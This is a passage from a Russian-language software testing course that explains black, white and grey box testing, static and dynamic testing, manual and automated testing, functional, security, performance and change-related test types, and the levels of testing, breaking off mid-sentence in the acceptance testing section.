полученная от заказчика. Главное, чтобы Ваш вопрос был сформулирован таким образом, чтобы полученный ответ позволил улучшить требования. Тема 8. Типы тестирования White/Black/Grey Box-тестирование Для того, чтобы лучше понимать подходы к тестированию программного обеспечения, нужно, конечно же, знать, какие виды и типы тестирования в принципе бывают. Давайте начнем с рассмотрения основных типов тестирования, которые определяют высокоуровневую классификацию тестов. Самым высоким уровнем в иерархии подходов к тестированию будет понятие типа, которое может охватывать сразу несколько смежных техник тестирования. То есть, одному типу тестирования может соответствовать несколько его видов. Рассмотрим, для начала, несколько типов тестирования, которые отличаются знанием внутреннего устройства объекта тестирования. Black Box Summary: Мы не знаем, как устроена тестируемая система. Тестирование методом «черного ящика», также известное как тестирование, основанное на спецификации или тестирование поведения – техника тестирования, основанная на работе исключительно с внешними интерфейсами тестируемой системы. Согласно ISTQB, тестирование черного ящика – это: • тестирование, как функциональное, так и нефункциональное, не предполагающее знания внутреннего устройства компонента или системы; • тест-дизайн, основанный на технике черного ящика – процедура написания или выбора тест-кейсов на основе анализа функциональной или нефункциональной спецификации компонента или системы без знания ее внутреннего устройства. Почему именно «черный ящик»? Тестируемая программа для тестировщика – как черный непрозрачный ящик, содержания которого он не видит. Целью этой техники является поиск ошибок в таких категориях: • неправильно реализованные или недостающие функции; • ошибки интерфейса; • ошибки в структурах данных или организации доступа к внешним базам данных; • ошибки поведения или недостаточная производительности системы; Таким образом, мы не имеем представления о структуре и внутреннем устройстве системы. Нужно концентрироваться на том, что программа делает, а не на том, как она это делает. Пример: Тестировщик проводит тестирование веб-сайта, не зная особенностей его реализации, используя только предусмотренные разработчиком поля ввода и кнопки. Источник ожидаемого результата – спецификация. Поскольку это тип тестирования, то он может включать и другие его виды. Тестирование черного ящика может быть как функциональным, так и нефункциональным. Функциональное тестирование предполагает проверку работы функций системы, а нефункциональное – общие характеристики нашей программы. Техника черного ящика применима на всех уровнях тестирования (от модульного до приемочного), для которых существует спецификация. Например, при осуществлении системного или интеграционного тестирования, требования или функциональная спецификация будут основой для написания тест-кейсов. Техники тест-дизайна, основанные на использовании черного ящика, включают: • классы эквивалентности; • анализ граничных значений; • таблицы решений; • диаграммы изменения состояния; • тестирование всех пар. Преимущества: 1. тестирование производится с позиции конечного пользователя и может помочь обнаружить неточности и противоречия в спецификации; 2. тестировщику нет необходимости знать языки программирования и углубляться в особенности реализации программы; 3. тестирование может производиться специалистами, независимыми от отдела разработки, что помогает избежать предвзятого отношения; 4. можно начинать писать тест-кейсы, как только готова спецификация. Недостатки: 1. тестируется только очень ограниченное количество путей выполнения программы; 2. без четкой спецификации (а это скорее реальность на многих проектах) достаточно трудно составить эффективные тест-кейсы; 3. некоторые тесты могут оказаться избыточными, если они уже были проведены разработчиком на уровне модульного тестирования. Противоположностью техники черного ящика является тестирование методом белого ящика, речь о котором пойдет ниже. White Box Summary: Нам известны все детали реализации тестируемой программы. Тестирование методом белого ящика (также прозрачного, открытого, стеклянного ящика или же основанное на коде или структурное тестирование) – метод тестирования программного обеспечения, который предполагает, что внутренняя структура/устройство/реализация системы известны тестировщику. Мы выбираем входные значения, основываясь на знании кода, который будет их обрабатывать. Точно так же мы знаем, каким должен быть результат этой обработки. Знание всех особенностей тестируемой программы и ее реализации обязательны для этой техники. Тестирование белого ящика – углубление во внутреннее устройство системы за пределы ее внешних интерфейсов. Согласно ISTQB: тестирование белого ящика – это: • тестирование, основанное на анализе внутренней структуры компонента или системы; • тест-дизайн, основанный на технике белого ящика – процедура написания или выбора тест-кейсов на основе анализа внутреннего устройства системы или компонента. Почему «белый ящик»? Тестируемая программа для тестировщика – прозрачный ящик, содержимое которого он прекрасно видит. Пример: Тестировщик, который, как правило, является программистом, изучает реализацию кода поля ввода на веб-странице, определяет все предусмотренные (как правильные, так и неправильные) и не предусмотренные пользовательские вводы и сравнивает фактический результат выполнения программы с ожидаемым. При этом ожидаемый результат определяется именно тем, как должен работать код программы. Тестирование методом белого ящика похоже на работу механика, который изучает двигатель машины, чтобы понять, почему она не заводится. Техника белого ящика применима на разных уровнях тестирования: от модульного до системного, но, главным образом, применяется именно для реализации модульного тестирования компонента его автором. Преимущества: 1. тестирование может производиться на ранних этапах: нет необходимости ждать создания пользовательского интерфейса; 2. можно провести более тщательное тестирование с покрытием большого количества путей выполнения программы. Недостатки: 1. для выполнения тестирования белого ящика необходимо большое количество специальных знаний; 2. при использовании автоматизации тестирования на этом уровне поддержка тестовых скриптов может оказаться достаточно накладной, если программа часто изменяется. Сравнение Black Box и White Box Grey Box Summary: Нам известны только некоторые особенности реализации тестируемой системы. Тестирование методом серого ящика – метод тестирования программного обеспечения, который предполагает комбинацию White Box и Black Box подходов. То есть внутреннее устройство программы нам известно лишь частично. Предполагается, например, доступ ко внутренней структуре и алгоритмам работы ПО для написания максимально эффективных тест-кейсов, но само тестирование проводится с помощью техники черного ящика, то есть с позиции пользователя. Эту технику тестирования также называют методом полупрозрачного ящика: что-то мы видим, а что-то – нет. Пример: Тестировщик изучает код программы с тем, чтобы лучше понимать принципы ее работы и изучить возможные пути ее выполнения. Такое знание поможет написать тест-кейс, который наверняка будет проверять определенную функциональность. Техника серого ящика применима на разных уровнях тестирования: от модульного до системного, но, главным образом, применяется на интеграционном уровне для проверки взаимодействия разных модулей программы. Статическое и динамическое тестирование По критерию запуска программы (исполняется ли программный код) выделяют еще два типа тестирования: статическое и динамическое. 1. Статическое тестирование Статистическое тестирование –тип тестирования, который предполагает, что программный код во время тестирования не будет выполняться. При этом, само тестирование может быть как ручным, так и автоматизированным. Статическое тестирование начинается на ранних этапах жизненного цикла ПО и является, соответственно, частью процесса верификации. Для этого типа тестирования в некоторых случаях даже не нужен компьютер, например, при проверке требований. Большинство статических техник могут быть использованы для «тестирования» любых форм документации, включая вычитку кода, инспекцию проектной документации, функциональной спецификации и требований. Даже статическое тестирование может быть автоматизировано, например, можно использовать автоматические средства проверки синтаксиса программного кода. Виды статического тестирования: • вычитка исходного кода программы; • проверка требований. 2. Динамическое тестирование Динамическое тестирование – тип тестирования, который предполагает запуск программного кода. Таким образом, анализируется поведение программы во время ее работы. Для выполнения динамического тестирования необходимо, чтобы тестируемый программный код был написан, скомпилирован и запущен. При этом, может выполняться проверка внешних параметров работы программы: загрузка процессора, использование памяти, время отклика и т.д., то есть ее производительность. Динамическое тестирование является частью процесса валидации программного обеспечения. Кроме того, динамическое тестирование может включать разные подвиды, каждый из которых зависит от: • Доступа к коду (тестирование черным, белым и серым ящиками). • Уровня тестирования (модульное интеграционное, системное и приемочное тестирование). • Сферы использования приложения (функциональное, нагрузочное, тестирование безопасности и пр.). Ручное и автоматизированное При ручном тестировании (manual testing) тестировщики вручную выполняют тесты, не используя никаких средств автоматизации. Ручное тестирование – самый низкоуровневый и простой тип тестирования, не требующий большого количества дополнительных знаний. Тем не менее, перед тем, как автоматизировать тестирование любого приложения, необходимо сначала выполнить серию тестов вручную. Мануальное тестирование требует значительных усилий, но без него мы не сможем убедиться в том, возможна ли автоматизация в принципе. Один из фундаментальных принципов тестирования гласит: 100% автоматизация невозможна. Поэтому, ручное тестирование – необходимость. Мифы о ручном тестировании: • Кто угодно может провести ручное тестирование. Нет, выполнение любого вида тестирования требует специальных знаний и профессиональной подготовки. • Автоматизированное тестирование мощнее ручного. • Полная автоматизация невозможна. Необходимо использовать также и ручное тестирование. • Ручное тестирование – это просто. Тестирование может быть очень непростым занятием. Проведение тестирования для проверки максимально возможного количества путей выполнения, с использованием минимального числа тест-кейсов, требует серьезных аналитических навыков. Автоматизированное тестирование (automation testing) предполагает использование специального программного обеспечения (помимо тестируемого) для контроля выполнения тестов и сравнения ожидаемого фактического результата работы программы. Этот тип тестирования помогает автоматизировать часто повторяющиеся, но необходимые для максимизации тестового покрытия, задачи. Некоторые задачи тестирования, такие как низкоуровневое регрессионное тестирование, могут быть трудозатратными и требующими много времени, если выполнять их вручную. Кроме того, мануальное тестирование может недостаточно эффективно находить некоторые классы ошибок. В таких случаях автоматизация может помочь сэкономить время и усилия проектной команды. После создания автоматизированных тестов, их можно в любой момент запустить снова, причем, запускаются и выполняются они быстро и точно. Таким образом, если есть необходимость частого повторного прогона тестов, значение автоматизации для упрощения сопровождения проекта и снижения его стоимости трудно переоценить. Ведь даже минимальные патчи и изменения кода могут стать причиной появления новых багов. Существует несколько основных видов автоматизированного тестирования: • Автоматизация тестирования кода (Code-driven testing) – тестирование на уровне программных модулей, классов и библиотек (фактически, автоматические юниттесты). • Автоматизация тестирования графического пользовательского интерфейса (Graphical user interface testing) – специальная программа (фреймворк автоматизации тестирования) позволяет генерировать пользовательские события– нажатия клавиш, клики мышкой, и отслеживание реакции программы на эти действия: соответствует ли она спецификации. • Автоматизация тестирования API (Application Programming Interface) – тестирование программного интерфейса программы. Тестируются интерфейсы, предназначенные для взаимодействия, например, с другими программами или с пользователем. Здесь, опять же, как правило, используются специальные фреймворки. Для составления автоматизированных тестов QA-специалист должен уметь программировать. Автоматические тесты – это полноценные программы, просто предназначенные для тестирования. Когда, что и как автоматизировать и автоматизировать ли вообще – очень важные вопросы, ответы на которые должна дать команда разработки. Выбор правильных элементов программы для автоматизации в большой степени будет определять успех автоматизации тестирования в принципе. Нужно избегать автоматизации тестирования участков кода, которые могут часто меняться. Сравнение ручного и автоматизированного тестирования Как ручное, так и автоматизированное тестирования могут использоваться на разных уровнях тестирования, а также быть частью других типов и видов тестирования. Автоматизация сохраняет время, силы и деньги. Автоматизированный тест можно запускать снова и снова, прилагая минимум усилий. Вручную можно протестировать практически любое приложение, в то время как автоматизировать стоит только стабильные системы. Автоматизированное тестирование используется, главным образом, для регрессии. Кроме того, некоторые виды тестирования, например, ad-hoc или исследовательское тестирование могут быть выполнены только вручную. Мануальное тестирование может быть повторяющимся и скучным.В то же время, автоматизация может помочь этого избежать – за вас все сделает компьютер. Таким образом, на реальных проектах зачастую используется комбинация ручного и автоматизированного тестирования, причем уровень автоматизации будет зависеть как от типа проекта, так и от особенностей постановки производственных процессов в компании. Виды тестирования Все виды тестирования программного обеспечения, в зависимости от преследуемых целей, можно условно разделить на следующие группы: 1. Функциональные. 2. Нефункциональные. 3. Связанные с изменениями. Далее мы постараемся более подробно рассказать о каждом отдельном виде тестирования, его назначении и использовании при тестировании программного обеспечения. Функциональные виды тестирования Функциональные тесты базируются на функциях и особенностях, а также на взаимодействии с другими системами и могут быть представлены на всех уровнях тестирования: компонентном или модульном (Component/Unit testing), интеграционном (Integration testing), системном (System testing), приемочном (Acceptance testing). Функциональные виды тестирования рассматривают внешнее поведение системы. Далее перечислены одни из самых распространенных видов функциональных тестов. Функциональное тестирование рассматривает заранее указанное поведение и основывается на анализе спецификаций функционтальности компонента или системы в целом. 1.Функциональные тесты основываются на функциях, выполняемых системой, и могут проводиться на всех уровнях тестирования (компонентном, интеграционном, системном, приемочном). Как правило, эти функции описываются в требованиях, функциональных спецификациях или в виде случаев использования системы (use cases). Тестирование функциональности может проводиться в двух аспектах: • Требования. • Бизнес-процессы. Тестирование в аспекте «требования» использует спецификацию функциональных требований к системе, как основу для дизайна тестовых случаев (Test Cases). В этом случае необходимо сделать список того, что будет тестироваться, а что нет, приоритезировать требования на основе рисков (если это не сделано в документе с требованиями), а на основе этого приоритезировать тестовые сценарии (test cases). Это позволит сфокусироваться и не упустить при тестировании наиболее важный функционал. Тестирование в аспекте «бизнес-процессы» использует знание бизнес-процессов, которые описывают сценарии ежедневного использования системы. В этом аспекте тестовые сценарии (test scripts), как правило, основываются на случаях использования системы (use cases). Преимущества функционального тестирования: • имитирует фактическое использование системы. Недостатки функционального тестирования: • возможность упущения логических ошибок в программном обеспечении; • вероятность избыточного тестирования. Достаточно распространенной является автоматизация функционального тестирования. 2. Тестирование безопасности (Security and Access Control Testing) Тестирование безопасности - это стратегия тестирования, используемая для проверки безопасности системы, а также для анализа рисков, связанных с обеспечением целостного подхода к защите приложения, атак хакеров, вирусов, несанкционированного доступа к конфиденциальным данным. Принципы безопасности программного обеспечения Общая стратегия безопасности основывается на трех основных принципах: 1. Конфиденциальность. 2. Целостность. 3. Доступность. Конфиденциальность Конфиденциальность - это сокрытие определенных ресурсов или информации. Под конфиденциальностью можно понимать ограничение доступа к ресурсу некоторой категории пользователей или, другими словами, при каких условиях пользователь авторизован получить доступ к данному ресурсу. Целостность Существует два основных критерия при определении понятия целостности: 1. Доверие. Ожидается, что ресурс будет изменен только соответствующим способом определенной группой пользователей. 2. Повреждение и восстановление. В случае, когда данные повреждаются или неправильно меняются авторизованным или не авторизованным пользователем, Вы должны определить, на сколько важной является процедура восстановления данных. Доступность Доступность представляет собой требования о том, что ресурсы должны быть доступны авторизованному пользователю, внутреннему объекту или устройству. Как правило, чем более критичен ресурс, тем выше уровень доступности должен быть. 3. Тестирование взаимодействия или Interoperability Testing Тестирование взаимодействия (Interoperability Testing) – это функциональное тестирование, проверяющее способность приложения взаимодействовать с одним и более компонентами или системами и включающее в себя тестирование совместимости (compatibility testing) и интеграционное тестирование (integration testing). Программное обеспечение с хорошими характеристиками взаимодействия может быть легко интегрировано с другими системами, не требуя каких-либо серьезных модификаций. В этом случае, количество изменений и время, требуемое на их выполнение, могут быть использованы для измерения возможности взаимодействия. Нефункциональные виды тестирования Нефункциональное тестирование описывает тесты, необходимые для определения характеристик программного обеспечения, которые могут быть измерены различными величинами. В целом, это тестирование того, как система работает. 1.Все виды тестирования производительности Тестирование производительности ( Performance testing ). Задачей тестирования производительности является определение масштабируемости приложения под нагрузкой, при этом происходит: • Измерение времени выполнения выбранных операций при определенных интенсивностях выполнения этих операций. • Определение количества пользователей, одновременно работающих с приложением. • Определение границ приемлемой производительности при увеличении нагрузки (при увеличении интенсивности выполнения этих операций). • Исследование производительности на высоких, предельных, стрессовых нагрузках. Стрессовое тестирование ( Stress Testing ) Стрессовое тестирование позволяет проверить, насколько приложение и система в целом работоспособны в условиях стресса, а также оценить способность системы к регенерации, т.е. к возвращению к нормальному состоянию, после прекращения воздействия стресса. Стрессом, в данном контексте, может быть повышение интенсивности выполнения операций до очень высоких значений или аварийное изменение конфигурации сервера. Также, одной из задач при стрессовом тестировании может быть оценка деградации производительности. Таким образом, цели стрессового тестирования могут пересекаться с целями тестирования производительности. Объемное тестирование ( Volume Testing ) Задачей объемного тестирования является получение оценки производительности при увеличении объемов данных в базе данных приложения, при этом происходит: • Измерение времени выполнения выбранных операций при определенных интенсивностях выполнения этих операций. • Может производиться определение количества пользователей, одновременно работающих с приложением. Тестирование стабильности или надежности( Stability / Reliability Testing) Задачей тестирования стабильности (надежности) является проверка работоспособности приложения при длительном (многочасовом) тестировании со средним уровнем нагрузки. Время выполнения операций может играть в данном виде тестирования второстепенную роль. При этом на первое место выходит отсутствие утечек памяти, перезапусков серверов под нагрузкой и другие аспекты влияющие именно на стабильность работы. В англоязычной терминологии вы можете так же найти еще один вид тестирования - Load Testing - тестирование реакции системы на изменение нагрузки (в пределе допустимого). Нам показалось, что Load и Performance преследуют все же одну и ту же цель: проверка производительности (времени отклика) на разных нагрузках. Собственно поэтому мы и не стали разделять их. В то же время кто то может разделить. Главное все таки понимать цели того или иного вида тестирования и постараться их достигнуть. 2. Тестирование Установки (Installation Testing) Тестирование установки направленно на проверку успешной инсталляции и настройки, а также на обновление или удаление программного обеспечения. В настоящий момент, наиболее распространена установка ПО при помощи инсталляторов (специальных программ,которые сами по себе так же требуют надлежащего тестирования, описание которого рассмотрено в разделе "Особенности тестирования инсталляторов"). В реальных условиях инсталляторов может не быть. В этом случае придется самостоятельно выполнять установку программного обеспечения, используя документацию в виде инструкций или "read me" файлов, шаг за шагом описывающих все необходимые действия и проверки. В распределенных системах, где приложение разворачивается на уже работающем окружении, простого набора инструкций может быть мало. Для этого часто пишется план установки (Deployment Plan), включающий не только шаги по инсталляции приложения, но и шаги отката (roll-back) к предыдущей версии (в случае неудачи). Сам по себе план установки также должен пройти процедуру тестирования для избежания проблем при выдаче в реальную эксплуатацию. Особенно это актуально, если установка выполняется на системы, где каждая минута простоя - это потеря репутации и большого количества средств, например: банки, финансовые компании или даже баннерные сети. Поэтому тестирование установки можно назвать одной из важнейших задач по обеспечению качества программного обеспечения. 3. Тестирование удобства пользования (Usability Testing) Иногда мы сталкиваемся с непонятными или нелогичными приложениями, многие функции и способы использования которых часто не очевидны. После такой работы редко возникает желание использовать приложение снова, и мы ищем более удобные аналоги. Для того, чтобы приложение было популярным, ему мало быть функциональным – оно должно быть еще и удобным. Если задуматься, интуитивно понятные приложения экономят нервы пользователям и затраты работодателя на обучение. Значит, они более конкурентоспособные! Поэтому тестирование удобства использования, о котором пойдет речь далее, является неотъемлемой частью тестирования любых массовых продуктов. Тестирование удобства пользования - это метод тестирования, направленный на установление степени удобства использования, обучаемости, понятности и привлекательности для пользователей разрабатываемого продукта в контексте заданных условий. Тестирование удобства пользования дает оценку уровня удобства использования приложения по следующим пунктам: • Производительность, эффективность ( efficiency) - сколько времени и шагов понадобится пользователю для завершения основных задач приложения, например, размещение новости, регистрации, покупка и т.д. (меньше - лучше). • Правильность ( accuracy) - сколько ошибок сделал пользователь во время работы с приложением (меньше - лучше). • Активизация в памяти ( recall ) – как много пользователь помнит о работе приложения после приостановки работы с ним на длительный период времени (повторное выполнение операций после перерыва должно проходить быстрее, чем у нового пользователя). • Эмоциональная реакция ( emotional response ) – как пользователь себя чувствует после завершения задачи - растерян, испытал стресс? Порекомендует ли пользователь систему своим друзьям? (положительная реакция - лучше). Уровни проведения Проверка удобства использования может проводиться как по отношению к готовому продукту, посредством тестирования черного ящика (black box testing), так и к интерфейсам приложения (API), используемым при разработке - тестирование белого ящика (white box testing). В этом случае проверяется удобство использования внутренних объектов, классов, методов и переменных, а также рассматривается удобство изменения, расширения системы и интеграции ее с другими модулями или системами. Использование удобных интерфейсов (API) может улучшить качество, увеличить скорость написания и поддержки разрабатываемого кода и, как следствие, улучшить качество продукта в целом. Отсюда становится очевидно, что тестирование удобства пользования может производиться на разных уровнях разработки программного обеспечения: модульном, интеграционном, системном, приемочном. При этом, оно целиком и полностью будет зависит от того, кто будет использовать приложение на выделенном конкретном уровне разработчик, бизнес-пользователь системы и т.д. Советы по улучшению удобства пользования: • Для дизайна удобных приложений полезно следовать принципам «пока-йока» или fail-safe. У нас это более известно как «защита от дурака». Простой пример: если поле требует цифровое значение,то логично ограничить пользователю диапазон ввода только цифрами – будет меньше случайных ошибок. • Для повышения юзабилити существующих приложений можно использовать цикл Демминга (Plan-Do-Check-Act), собирая отзывы о работе и дизайне приложения у существующих пользователей, и, в соответствии с их замечаниями, планируя и проводя улучшения. Заблуждения о тестировании удобства пользования: • Тестирование пользовательского интерфейса = Тестирование удобства пользования Тестирование удобства пользования не имеет ничего общего с тестированием функциональности пользовательского интерфейса, оно лишь проводится на пользовательском интерфейсе, равно как и на многих других возможных компонентах продукта. При этом, тип тестирования и тест-кейсы будут совсем другие, так как речь может идти об удобстве использования не визуальных компонентов (если таковые имеются) или процессе администрирования, например, распределенного клиентсерверного продукта и т.д. • Тестирование удобства пользования можно провести без участия эксперта Не всегда человек не разбирающийся в предметной области способен провести его самостоятельно. Представьте, что тестировщику нужно протестировать удобство пользования стратегического бомбардировщика. Ему придется проверить основные функции: удобство ведения боя, навигации, пилотирования, обслуживания, наземной транспортировки и т.д. Очевидно, что, без привлечения эксперта, это будет весьма проблематично, и, можно даже сказать, невозможно. 4. Тестирование на отказ и восстановление (Failover and Recovery Testing) Тестирование на отказ и восстановление (Failover and Recovery Testing) проверяет тестируемый продукт с точки зрения способности противостоять и успешно восстанавливаться после возможных сбоев, возникших в связи с ошибками программного обеспечения, отказами оборудования или проблемами связи (например, отказ сети). Целью данного вида тестирования является проверка систем восстановления (или дублирующих основной функционал систем), которые, в случае возникновения сбоев, обеспечат сохранность и целостность данных тестируемого продукта. Тестирование на отказ и восстановление очень важно для систем, работающих по принципу “24x7”. Если Вы создаете продукт, который будет работать, например,в интернете, то без проведения данного вида тестирования Вам просто не обойтись, т.к. каждая минута простоя или потеря данных, в случае отказа оборудования, может стоить вам денег, потери клиентов и репутации на рынке. Методика подобного тестирования заключается в симулировании различных условий сбоя и последующем изучении и оценке реакции защитных систем. В процессе подобных проверок выясняется, была ли достигнута требуемая степень восстановления системы после возникновения сбоя. Для наглядности, рассмотрим некоторые варианты подобного тестирования и общие методы их проведения. Объектом тестирования, в большинстве случаев, являются весьма вероятные эксплуатационные проблемы, такие как: • Отказ электричества на компьютере-сервере. • Отказ электричества на компьютере-клиенте. • Незавершенные циклы обработки данных (прерывание работы фильтров данных, прерывание синхронизации). • Объявление или внесение в массивы данных невозможных или ошибочных элементов. • Отказ носителей данных. Данные ситуации могут быть воспроизведены, как только достигнута некоторая точка в разработке, когда все системы восстановления или дублирования готовы выполнять свои функции. Технически реализовать тесты можно следующими путями: • Симулировать внезапный отказ электричества на компьютере (обесточить компьютер). • Симулировать потерю связи с сетью (выключить сетевой кабель, обесточить сетевое устройство). • Симулировать отказ носителей (обесточить внешний носитель данных). • Симулировать ситуацию наличия в системе неверных данных (специальный тестовый набор или база данных). При достижении соответствующих условий сбоя и по результатам работы систем восстановления, можно оценить продукт с точки зрения тестирования на отказ. Во всех вышеперечисленных случаях, по завершении процедур восстановления, должно быть достигнуто определенное требуемое состояние данных продукта: • Потеря или порча данных в допустимых пределах. • Отчет или система отчетов, с указанием процессов или транзакций, которые не были завершены в результате сбоя. Стоит заметить, что тестирование на отказ и восстановление – это весьма специфичное тестирование. Разработка тестовых сценариев должна производиться с учетом всех особенностей тестируемой системы. Принимая во внимание довольно жесткие методы воздействия, стоит также оценить целесообразность проведения данного вида тестирования для конкретного программного продукта. 5. Конфигурационное тестирование (Configuration Testing) Конфигурационное тестирование(Configuration Testing) — специальный вид тестирования, направленный на проверку работы программного обеспечения при различных конфигурациях системы (заявленных платформах, поддерживаемых драйверах, при различных конфигурациях компьютеров и т.д.) В зависимости от типа проекта конфигурационное тестирование может иметь разные цели: • Проект по профилированию работы системы. Цель Тестирования: определить оптимальную конфигурацию оборудования, обеспечивающую требуемые характеристики производительности и времени реакции тестируемой системы. • Проект по миграции системы с одной платформы на другую. Цель Тестирования: Проверить объект тестирования на совместимость с объявленным в спецификации оборудованием, операционными системами и программными продуктами третьих фирм. Примечание: В ISTQB Syllabus вообще не говорится о таком виде тестирования, как конфигурационное. Согласно глоссарию, данный вид тестирования рассматривается там как тестирование портируемости(portability testing: The process of testing to determine the portability of a software product.). Связанные с изменениями виды тестирования После проведения необходимых изменений, таких как исправление багов/дефектов, программное обеспечение должно быть перетестировано для подтверждения того факта, что проблема была действительно решена. Ниже перечислены виды тестирования, которые необходимо проводить после установки программного обеспечения, для подтверждения работоспособности приложения или правильности осуществленного исправления дефекта: 1. Дымовое тестирование (Smoke Testing) Понятие дымовое тестирование пошло из инженерной среды: "При вводе в эксплуатацию нового оборудования ("железа") считалось, что тестирование прошло удачно, если из установки не пошел дым." В области же программного обеспечения дымовое тестирование рассматривается как короткий цикл тестов, выполняемый для подтверждения того, что, после сборки кода (нового или исправленного), устанавливаемое приложение стартует и выполняет основные функции. Вывод о работоспособности основных функций делается на основании результатов поверхностного тестирования наиболее важных модулей приложения на предмет возможности выполнения требуемых задач и наличия быстронаходимых критических и блокирующих дефектов. В случае отсутствия таковых дефектов дымовое тестирование объявляется пройденным и приложение передается для проведения полного цикла тестирования, в противном случае, дымовое тестирование объявляется проваленным и приложение уходит на доработку. Аналогами дымового тестирования являются Build Verification Testing и Acceptance Testing, выполняемые на функциональном уровне командой тестирования, по результатам которых делается вывод о том, принимается или нет установленная версия программного обеспечения в тестирование, эксплуатацию или на поставку заказчику. Для облегчения работы, экономии времени и людских ресурсов рекомендуется внедрить автоматизацию тестовых сценариев для дымового тестирования. 2. Регрессионное тестирование (Regression Testing) Регрессионное тестирование - это вид тестирования, направленный на проверку изменений, сделанных в приложении или окружающей среде (починка дефекта, слияние кода, миграция на другую операционную систему, базу данных, веб-сервер или сервер приложения), для подтверждения того факта, что существующая ранее функциональность работает как и прежде. Регрессионными могут быть как функциональные, так и нефункциональные тесты. Как правило, для регрессионного тестирования используются тест-кейсы, написанные на ранних стадиях разработки и тестирования . Это дает гарантию того, что изменения в новой версии приложения не повредили уже существующую функциональность. Рекомендуется делать автоматизацию регрессионных тестов для ускорения последующего процесса тестирования и обнаружения дефектов на ранних стадиях разработки программного обеспечения. Сам по себе термин "регрессионное тестирование", в зависимости от контекста использования, может иметь разный смысл. Сэм Канер, к примеру, описал 3 основных типа регрессионного тестирования: • Регрессия багов (Bug regression) - попытка доказать, что исправленная ошибка на самом деле не исправлена. • Регрессия старых багов (Old bugs regression) - попытка доказать, что недавнее изменение кода или данных сломало исправление старых ошибок, т.е. старые баги стали снова воспроизводиться. • Регрессия побочного эффекта (Side effect regression) - попытка доказать, что недавнее изменение кода или данных сломало другие части разрабатываемого приложения. 3. Тестирование сборки (Build Verification Test) Тестирование, направленное на определение соответствия выпущенной версии критериям качества для начала тестирования. По своим целям является аналогом дымового тестирования, направленного на приемку новой версии в дальнейшее тестирование или эксплуатацию. Вглубь оно может проникать дальше, в зависимости от требований к качеству выпущенной версии. 4. Санитарное тестирование или проверка согласованности/исправности (Sanity Testing) Санитарное тестирование - это узконаправленное тестирование, достаточное для доказательства того, что конкретная функция работает согласно заявленным в спецификации требованиям. Является подмножеством регрессионного тестирования. Используется для определения работоспособности определенной части приложения после изменений произведенных в ней или окружающей среде. Обычно выполняется вручную. Отличие санитарного тестирования от дымового (Sanity vs Smoke testing) В некоторых источниках ошибочно полагают, что санитарное и дымовое тестирование это одно и тоже. Мы же полагаем, что эти виды тестирования имеют "векторы движения"направления в разные стороны. В отличии от дымового (Smoke testing), санитарное тестирование (Sanity testing) направлено вглубь проверяемой функции, в то время как дымовое - направлено вширь, для покрытия тестами как можно большего функционала в кратчайшие сроки. Уровни тестирования программного обеспечения Тестирование на разных уровнях производится на протяжении всего жизненного цикла разработки и сопровождения программного обеспечения. Уровень тестирования определяет то, над чем производятся тесты: над отдельным модулем, группой модулей или системой, в целом. Проведение тестирования на всех уровнях системы - это залог успешной реализации и сдачи проекта. Уровни Тестирования 1. Компонентное или Модульное тестирование (Component or Unit Testing) Компонентное (модульное) тестирование проверяет функциональность и ищет дефекты в частях приложения, которые доступны и могут быть протестированы по-отдельности (модули программ, объекты, классы, функции и т.д.). Обычно компонентное (модульное) тестирование проводится вызывая код, который необходимо проверить и при поддержке сред разработки, таких как фреймворки (frameworks - каркасы) для модульного тестирования или инструменты для отладки. Все найденные дефекты, как правило исправляются в коде без формального их описания в системе менеджмента багов (Bug Tracking System). Один из наиболее эффективных подходов к компонентному (модульному) тестированию это подготовка автоматизированных тестов до начала основного кодирования (разработки) программного обеспечения. Это называется разработка от тестирования (testdriven development) или подход тестирования вначале (test first approach). При этом подходе создаются и интегрируются небольшие куски кода, напротив которых запускаются тесты, написанные до начала кодирования. Разработка ведется до тех пор, пока все тесты не будут успешно пройдены. Разница между компонентным и модульным тестированием: По-существу, эти уровни тестирования представляют одно и тоже и разница лишь в том, что в компонентном тестировании, в качестве параметров функций, используют реальные объекты и драйверы, а в модульном тестировании - конкретные значения. 2. Интеграционное тестирование (Integration Testing) Интеграционное тестирование предназначено для проверки связи между компонентами, а также взаимодействия с различными частями системы (операционной системой, оборудованием либо связи между различными системами). Уровни интеграционного тестирования: • Компонентный интеграционный уровень ( Component Integration testing) проверяется взаимодействие между компонентами системы после проведения компонентного тестирования. • Системный интеграционный уровень (System Integration Testing) - проверяется взаимодействие между разными системами после проведения системного тестирования. Подходы к интеграционному тестированию: • Снизу вверх (Bottom Up Integration): Все низкоуровневые модули, процедуры или функции собираются воедино и затем тестируются. После чего собирается следующий уровень модулей для проведения интеграционного тестирования. Данный подход считается полезным, если все или практически все модули, разрабатываемого уровня, готовы. Также данный подход помогает определить по результатам тестирования уровень готовности приложения. • Сверху вниз (Top Down Integration): Сначала тестируются все высокоуровневые модули, затем постепенно, один за другим, добавляются низкоуровневые. Все модули более низкого уровня симулируются заглушками с аналогичной функциональностью, затем, по мере готовности, они заменяются реальными активными компонентами. Таким образом, мы проводим тестирование сверху вниз. • Большой взрыв ("Big Bang" Integration): Все (или практически все) разработанные модули собираются вместе в виде законченной системы или ее основной части, а затем проводится интеграционное тестирование. Такой подход очень хорош для сохранения времени. Однако, если тест-кейсы и их результаты записаны неверно, то сам процесс интеграции будет осложнен, что станет преградой для команды тестирования при достижении основной цели интеграционного тестирования. 3. Системное тестирование (System Testing) Основной задачей системного тестирования является проверка как функциональных, так и не функциональных требований ,дефекты в системе в целом. При этом выявляется неверное использование ресурсов системы, непредусмотренные комбинации данных пользовательского уровня, несовместимость с окружением, непредусмотренные сценарии использования, отсутствующая или неверная функциональность, неудобство использования и т.д. Для минимизации рисков, связанных с особенностями поведения в системы в той или иной среде, во время тестирования рекомендуется использовать окружение, максимально приближенное к тому, на которое будет установлен продукт после выдачи. Можно выделить два подхода к системному тестированию: • на базе требований (requirements based) - для каждого требования пишутся тестовые случаи (test cases), проверяющие выполнение данного требования. • на базе случаев использования (use case based) - на основе представления о способах использования продукта создаются случаи использования системы (Use Cases). По конкретному случаю использования можно определить один или более сценариев. На проверку каждого сценария пишутся тест-кейсы (test cases), которые должны быть протестированы. 4. Приемочное тестирование или приемо-сдаточное испытание (Acceptance Testing) Приемочное тестирование или приемо-сдаточное испытание (Acceptance Testing) формальный процесс тестирования, который проверяет соответствие системы требованиям и проводится с целью: • определения удовлетворения системой приемочным критериям; • вынесения решения заказчиком или другим уполномоченным лицом принятия приложения. Приемочное тестирование выполняется на основании набора типичных тестовых случаев и сценариев, разработанных на основании требований к данному приложению. Решение о проведении приемочного тестирования принимается, когда: • Продукт достиг необходимого уровня качества. • Заказчик ознакомлен с Планом 